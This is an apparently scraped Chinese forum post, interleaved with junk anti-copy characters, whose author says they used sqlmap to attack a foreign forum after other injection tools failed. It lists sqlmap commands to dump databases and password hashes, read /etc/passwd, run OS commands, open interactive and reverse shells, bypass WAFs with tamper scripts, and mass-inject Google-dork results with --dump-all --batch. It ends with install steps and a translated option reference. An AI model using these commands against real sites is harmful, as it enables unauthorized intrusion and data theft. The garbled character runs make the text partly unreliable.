今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、4 }9 H" x6 Z5 h0 c/ |
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
! C- t/ f( V0 U2 Y3 x* ~6 Csqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
6 y! G" L' c, Osqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
7 d& Q( A! V! L' K6 ~
7 a7 ^/ ?7 e/ j( nsqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v% @ h7 ?9 ?/ `8 Z* O4 F7 J: A
0 #获取字段内容
6 ^% K3 A: \1 n0 [
' O+ B" S+ [9 j: c6 k******************信息获取******************: [0 N# r) T1 k0 D' _2 c
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
6 G9 F8 e6 ]; B% n9 r( c* csqlmap -u “http://url/news?id=1″ –users #列数据库用户+ M4 Z" j/ k: P1 s7 D) u3 e2 J9 C
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
& |3 R7 Y+ m4 _; [sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
1 i B% ]3 Z6 R& }8 |sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
9 ?8 J& @5 O$ S* X# Z, d$ d* Ksqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
6 t5 ^/ M" c9 C u: l–start 1 –stop 20 #列出指定字段,列出20 条
1 }/ b7 z" R) p/ d# Q* b( Hsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表 Y( m" ~7 ?* A4 g2 p
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
8 _4 y: [- l5 U" a3 f k- k5 hsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色% Z% ^3 `6 ~3 Y3 M! x2 k2 G+ F
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!): K5 z9 T2 ?& w$ r
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表9 i2 `3 M# X0 X( {& D/ S
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
! |% k! c" q7 a: N0 usqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入" D4 `# S! g1 _- `, R& C i* V
sqlmap -u “http://url/news?id=1″-b #获取banner信息4 ^9 ^% K M6 p: \0 y& }! v5 E5 T
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入- s" e+ l6 `: | [+ v3 X
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
4 F e! r5 _$ }4 P0 @sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入7 v2 a3 p' e% \2 x P/ B
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词4 W$ a+ y9 x p/ n9 I6 P
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令% `3 E2 u6 _3 Z0 N) b6 `
sqlmap -u “http://url/news?id=1″ –file /etc/passwd5 f" I6 \* E2 x5 K$ F
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
M* s: ]# W9 ]+ j/ |* i' _4 lsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell, u) C! v; j2 R1 x0 f
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表5 c6 x, i- H* G! v) S
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
' q, P+ ^( W9 ssqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度% T8 J. ^2 x/ k$ ~
***********高级用法*************
! ?! T- e- B `' {* G-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
+ P r8 a: O' J) A* ^2 ysqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
" U, t" @% [+ I `4 t% r–technique 测试指定注入类型\使用的技术3 B: I; m( P# A# t! v8 \
不加参数默认测试所有注入技术
& c7 I% S* p7 L1 e+ q• B: 基于布尔的SQL 盲注* n& b/ P7 s; n( f& b2 x
• E: 基于显错sql 注入- e" Z3 c" K4 m0 u5 g2 }
• U: 基于UNION 注入
7 K$ i% n D8 L% h! H% a5 ^• S: 叠层sql 注入/ f$ v! g; g" `* E& j V5 I
• T: 基于时间盲注- x; a9 l1 | C+ r- K( y6 D4 o0 E
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()' L, `4 G: x/ J$ L3 H1 Q' ^, X! S( ^
–tamper 插件所在目录
1 `2 Y& @( i7 f4 |1 K" C9 X\sqlmap-dev\tamper. ]% a* v7 q7 R9 Y
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
4 W* G; U# z9 i4 Zlevel 执行测试等级 攻击实例:1 N+ M# S7 d7 D$ x
Sqlmap -u “http://url/news?id=1&Submit=Submit”/ U3 C0 s4 B/ p; N! E, I' h6 ^
–cookie=”PHPSESSID=41aa833e6d0d- z; a/ \7 }8 f5 z+ Y. Q
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
5 @& ]. }8 s2 v6 m( c–password
7 F, i9 S7 k0 v* v% U参考文档:http://sqlmap.sourceforge.net/doc/README.html
' e! Q' E$ v4 N! G***********安装最新版本*************3 K2 }6 T+ @+ E
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版. [ s% r& {4 w1 Y9 d
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev! Z8 [, _' y$ u3 p: b1 O* K/ R
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件! ]! i" ~1 a l5 Z
sudo vim /home/当前用户/.bashrc: S/ z6 Y9 F+ c3 W
#任意位置加上:
2 R) ]7 m. I- jalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
" `& x; e+ O2 ]9 S% h9 P: O5 x$ p如果想对所有用户有效 可设置全局 编辑下面的文件
' l+ x* ~5 }+ D B! S7 pvim /etc/profile
3 z8 T8 R+ H# S& s' |# _同样加上:
8 _3 ~6 s5 ~5 r' R& K) K* Balias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
+ h6 A) @, L" u# V- y******************windows 7 (x64) sqlmap install (SVN)************, n/ r( N) V% P! V) J" o0 g8 O. c
http://www.python.org/getit/ 安装python
' Y% |" h/ A; w7 i& S; b$ thttp://www.sliksvn.com/en/download 安装windows svn client; _8 t9 s5 X. c
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev8 K1 T9 T3 x, X& L4 e3 M K
安装sqlmap- E( V% b( i; h# M$ P+ [
*修改环境变量8 ] j; c+ r2 B, M& L M
–version 显示程序的版本号并退出
6 f) T1 u- y$ h8 |-h, –help 显示此帮助消息并退出; D' {% N4 H4 k5 J: f- Y8 [+ u# X
-v VERBOSE 详细级别:0-6(默认为1)
5 _! w: s0 }8 s; E$ GTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
- B4 z" w, t1 X1 g1 k) G" E2 Q-d DIRECT 直接连接到数据库。. b; M) r" g: L* {( P& P* @3 S3 p8 E
-u URL, –url=URL 目标URL。/ p) x' n. {# a, @; `
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
0 w6 B0 n4 P6 q7 J5 ^! L. ?-r REQUESTFILE 从一个文件中载入HTTP 请求。
) Q: u: p3 c E* H-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
! E8 j0 V* u6 d2 ]# v& D-c CONFIGFILE 从INI 配置文件中加载选项。
% u4 C, S1 S6 e& fRequest(请求)::
- ?$ w) R" s4 v这些选项可以用来指定如何连接到目标URL。
2 J) @/ X4 m! s3 d) e2 a–data=DATA 通过POST 发送的数据字符串& ~0 E" G) F7 S' p% s2 L
–cookie=COOKIE HTTP Cookie 头
; Q9 k# y7 ]( R' g! `–cookie-urlencode URL 编码生成的cookie 注入8 `$ q# h) f) H
–drop-set-cookie 忽略响应的Set –Cookie 头信息6 z! p6 W# v& n) x/ ~
8 l: \- Z+ j3 V5 A8 V! F/ H
–user-agent=AGENT 指定 HTTP User –Agent 头
& E/ S+ N B) L8 X–random-agent 使用随机选定的HTTP User –Agent 头/ h& M5 r; O! \- k+ a7 }* Z z2 O
–referer=REFERER 指定 HTTP Referer 头
0 p8 a, a( ?, v" p& R0 D–headers=HEADERS 换行分开,加入其他的HTTP 头
# L f8 H' t( u" [' r( B1 c–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
) D% b# U7 r9 t& y0 R5 c0 M9 d–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)* x3 F" ?# @0 w; R% ~) P
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file); ~5 f7 t1 i# H8 { n! J5 y
–proxy=PROXY 使用HTTP 代理连接到目标URL3 ^/ k0 m( ]+ E4 w
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
8 i: d: d. w1 _# x+ m–ignore-proxy 忽略系统默认的HTTP 代理
) ^7 @( U( [: }, c6 F–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
/ u1 J! [) L3 N–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
' N3 l3 C. y9 s) n' ^, d, L–retries=RETRIES 连接超时后重新连接的时间(默认3)
, R5 _1 F% F! \: J2 v–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式8 W4 g+ |* A& C
–safe-url=SAFURL 在测试过程中经常访问的url 地址7 K* T# b. \# X& m/ t
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL6 C) p" e( J4 L0 N
Optimization(优化): 这些选项可用于优化SqlMap 的性能。: I7 k1 `6 P7 x% ^9 H C& f Z. ~
-o 开启所有优化开关9 y3 G8 } T7 u% b8 B' E
–predict-output 预测常见的查询输出& k. o# l5 N: N& n4 u! u8 N3 x$ I9 h4 [
–keep-alive 使用持久的HTTP(S)连接& }. w0 q4 q; C/ k8 e! s, X
–null-connection 从没有实际的HTTP 响应体中检索页面长度* u; e5 d9 G$ ?& M
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
4 k' y2 R, N/ {Injection(注入):
1 q$ ?7 l* T5 |. C% y" ^5 _这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。: m& m0 S, `( t) k+ e; y3 ?0 t1 d
-p TESTPARAMETER 可测试的参数(S)
: i, F, ~, m. t- E–dbms=DBMS 强制后端的DBMS 为此值( G% C/ r% h2 ~$ G5 g
–os=OS 强制后端的DBMS 操作系统为这个值3 n q% @/ c g" e: E+ q* q
–prefix=PREFIX 注入payload 字符串前缀1 y8 H0 b! S5 K' Z% H( ]
–suffix=SUFFIX 注入 payload 字符串后缀
0 f1 B- }+ C' c. f–tamper=TAMPER 使用给定的脚本(S)篡改注入数据: i) ?) D& j8 z3 |- U
Detection(检测):& f& N3 A" b8 J4 [. |$ B) R0 r
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。* M+ d+ s1 S$ x+ u% T! V) N: m& P8 ~
–level=LEVEL 执行测试的等级(1-5,默认为1)6 p2 A2 ] P: Y9 ]" `
–risk=RISK 执行测试的风险(0-3,默认为1)% L. G% Z R0 Q* w
–string=STRING 查询时有效时在页面匹配字符串
$ H& A p( e+ d. Z2 g–regexp=REGEXP 查询时有效时在页面匹配正则表达式
, X$ L7 l% W6 F+ c9 P: F3 Q1 _–text-only 仅基于在文本内容比较网页
5 N$ x" [+ p* MTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。1 ~; J% K( [" K7 F3 ~
–technique=TECH SQL 注入技术测试(默认BEUST)
+ t4 u6 g& G) I–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)6 L' b( B$ N. r/ g1 r! h
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
9 B+ ` z' ?* E4 [& S" w–union-char=UCHAR 用于暴力猜解列数的字符2 ?2 ?: | s& K% G2 e ]3 E
Fingerprint(指纹):
$ V7 c# k- n y1 ~-f, –fingerprint 执行检查广泛的DBMS 版本指纹
3 Y5 U7 P; a# I: J! r% IEnumeration(枚举):% {0 q6 Y4 e, D3 `) k/ @
7 @. v5 X' W6 L# d4 h7 a6 f p这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
! x, _ E% j6 ~# A6 V7 b8 A-b, –banner 检索数据库管理系统的标识5 G, h/ R% X+ D% \8 \
–current-user 检索数据库管理系统当前用户/ ]' y! v6 L" x
–current-db 检索数据库管理系统当前数据库3 ]$ a9 Q! \8 ^" T& ~* v+ M M( h
–is-dba 检测DBMS 当前用户是否DBA5 t3 c: n, r9 b1 z1 B( X7 R2 b
–users 枚举数据库管理系统用户
1 e* s0 ^0 Y2 k$ t' k5 m1 A–passwords 枚举数据库管理系统用户密码哈希
- ~- Z& Y7 e9 t- B& r; D–privileges 枚举数据库管理系统用户的权限
, Z7 _& q. W- X( Q–roles 枚举数据库管理系统用户的角色( H9 i- @# w+ e# v
–dbs 枚举数据库管理系统数据库, ~9 @% }2 f$ P0 W5 c' \
–tables 枚举的DBMS 数据库中的表
- t" M) ^1 Y. T! t–columns 枚举DBMS 数据库表列
5 Q/ x5 g: ?' u. W–dump 转储数据库管理系统的数据库中的表项: ?7 p* s& g1 X/ v/ f h7 e) b
–dump-all 转储所有的DBMS 数据库表中的条目" m5 J1 }: z# ?8 y. R' k5 X, {0 W
–search 搜索列(S),表(S)和/或数据库名称(S)
: h7 _5 u D2 T- E' c-D DB 要进行枚举的数据库名
; E* ^2 `) _5 \/ I-T TBL 要进行枚举的数据库表
& u$ L* ?' ]/ t& j* M-C COL 要进行枚举的数据库列
+ q& Y6 K z. y0 z, g8 \-U USER 用来进行枚举的数据库用户( R7 @% u, y6 x$ k
–exclude-sysdbs 枚举表时排除系统数据库
- M. z. G5 _; U3 S) N. W# L6 H–start=LIMITSTART 第一个查询输出进入检索
- x; U6 j- G" g8 y8 J–stop=LIMITSTOP 最后查询的输出进入检索
! A1 r$ y7 m% W0 b, w+ P: Z, \–first=FIRSTCHAR 第一个查询输出字的字符检索
* k5 \$ h! h6 o$ Q0 q! ?–last=LASTCHAR 最后查询的输出字字符检索/ T0 K+ I2 a& n
–sql-query=QUERY 要执行的SQL 语句
% k7 u! J) Z7 C& g: f0 H–sql-shell 提示交互式SQL 的shell f6 N5 {% }2 w% f) S7 m
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。. |" M( t4 Q4 C+ p2 p5 f2 ^
–common-tables 检查存在共同表
, y2 G- u% t$ m: K–common-columns 检查存在共同列
% Y3 A* l' T0 xUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
; R* x+ Y8 L; d1 b6 D! T–udf-inject 注入用户自定义函数' Q) v0 s! {& H3 y
–shared-lib=SHLIB 共享库的本地路径
5 c6 @4 r' {: c, M( u9 LFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。% I5 E6 V: T' \0 v- R% d
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件# z/ P# g, Y# M- ~0 o& n) O
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
* r" @0 l( G' k2 }–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
. ]$ i# m$ p- J& \' c. x7 LOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
3 M, [: [1 q$ v7 x% `' K–os-cmd=OSCMD 执行操作系统命令
! \0 L- ~/ i+ O9 J' y" Y! J" {–os-shell 交互式的操作系统的shell
3 q& R1 n5 ^2 @- N1 c–os-pwn 获取一个OOB shell,meterpreter 或VNC
2 P; k. j) `& b–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC1 L) x8 p7 ^2 z% S. ~
–os-bof 存储过程缓冲区溢出利用4 h6 }9 B& u n
–priv-esc 数据库进程用户权限提升, M$ ^5 q$ I+ n: P4 g
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
* s5 [0 ^! h) r. X! B–tmp-path=TMPPATH 远程临时文件目录的绝对路径
. `6 n* U% V3 N8 Q6 [3 p2 c2 H
9 y8 Z9 |4 T! m$ ?4 U, iWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
$ ~* _- |; n& \+ }( C- j% R–reg-read 读一个Windows 注册表项值1 e3 l8 h ?: X" \$ F
–reg-add 写一个Windows 注册表项值数据
- B5 P' |$ q+ L. Z; C& x–reg-del 删除Windows 注册表键值2 B. ?, |! |+ O" ]! S3 S( n
–reg-key=REGKEY Windows 注册表键
; k+ w$ `+ e" b/ f8 ^3 X–reg-value=REGVAL Windows 注册表项值1 e: I, ^# E+ L% E4 T m
–reg-data=REGDATA Windows 注册表键值数据; [1 X8 l/ p W4 J) g* T
–reg-type=REGTYPE Windows 注册表项值类型
7 M, E2 e! w# g: ^3 K Q: {6 ]9 VGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
; T8 O6 y' c) V) Z: J-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中# L B0 e6 c, P4 @; J* r
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
( P$ {3 h4 B8 L3 U. {–flush-session 刷新当前目标的会话文件
% C8 g' e, B: y9 A–fresh-queries 忽略在会话文件中存储的查询结果& n$ j9 @( E, a
–eta 显示每个输出的预计到达时间
) o( B/ p" Q* Q–update 更新SqlMap
/ T8 V# \5 F c$ [$ l- ~–save file 保存选项到INI 配置文件5 W5 @8 i0 C- ^9 K# O
–batch 从不询问用户输入,使用所有默认配置。' N/ N) P+ z* j* _
Miscellaneous(杂项):
0 a( i7 C: z+ k) l" h# J% B2 ~; \–beep 发现SQL 注入时提醒$ z8 P- n& C$ X1 c
–check-payload IDS 对注入payloads 的检测测试4 U3 H5 p; Y% F- p# K5 Q8 ^
–cleanup SqlMap 具体的UDF 和表清理DBMS
3 |. e1 `" r, e8 i–forms 对目标URL 的解析和测试形式" p; }2 ]% H8 \9 t- o% F" u: w
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
- t* Q' [% }/ b7 |% N: e* ^2 X' z–page-rank Google dork 结果显示网页排名(PR)3 H4 N6 x2 p. k' m! h
–parse-errors 从响应页面解析数据库管理系统的错误消息
' S. m3 ~( k+ o }7 n–replicate 复制转储的数据到一个sqlite3 数据库
& E" c. T: V$ A* x* [–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
/ _$ {7 D$ A+ ?. d–wizard 给初级用户的简单向导界面 |